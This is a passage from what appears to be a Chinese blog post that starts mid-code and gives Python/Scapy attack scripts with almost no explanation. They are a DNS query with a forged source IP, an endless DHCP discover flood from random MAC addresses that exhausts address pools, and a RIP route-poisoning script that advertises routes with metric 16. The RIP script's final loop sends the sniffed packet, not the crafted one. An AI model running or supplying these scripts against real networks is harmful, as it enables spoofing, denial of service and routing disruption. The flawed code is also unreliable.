IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip b = UDP(dport=53) c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0) c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1) p = a/b/c send(p)DHCP 欺骗攻击from scapy.all import * import random def dhcp_discover(iface): while True: xid_random = random.randint(1, 900000000) mac_random = str(RandMAC()) dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/ IP(src='0.0.0.0',dst='255.255.255.255')/ UDP(sport=68,dport=67)/ BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/ DHCP(options=[('message-type','discover')] )) sendp(dhcp_discover,iface=iface) if __name__ == '__main__': iface = 'eth0' dhcp_discover(iface)RIP 攻击from scapy.all import RIP,Ether,IP,UDP,RIP,RIPEntry,sniff,send packet = sniff(stop_filter=lambda x:x.haslayer(RIP)) mac_dst= packet[-1][Ether].dst mac_src= packet[-1][Ether].src ip = packet[-1][RIPEntry].addr entry = packet[-1][RIPEntry] ripentry = RIPEntry(addr=ip,metric=16) #判断是否有多个路由信息 if entry.getlayer(RIPEntry,2): while entry: #获取下一个路由信息 entry = entry.getlayer(RIPEntry, 2) ip = entry.addr ripentry = ripentry / RIPEntry(addr=ip, metric=16) rip = (Ether(dst=mac_dst,src=mac_src) /IP(dst="224.0.0.9",src=ip) /UDP(dport=520,sport=520)/RIP(cmd=2,version=2)/ripentry) while True: packet.show() send(packet,verbose=0)
2022年07月15日
579 阅读
0 评论
161 点赞
1
2
3
0:00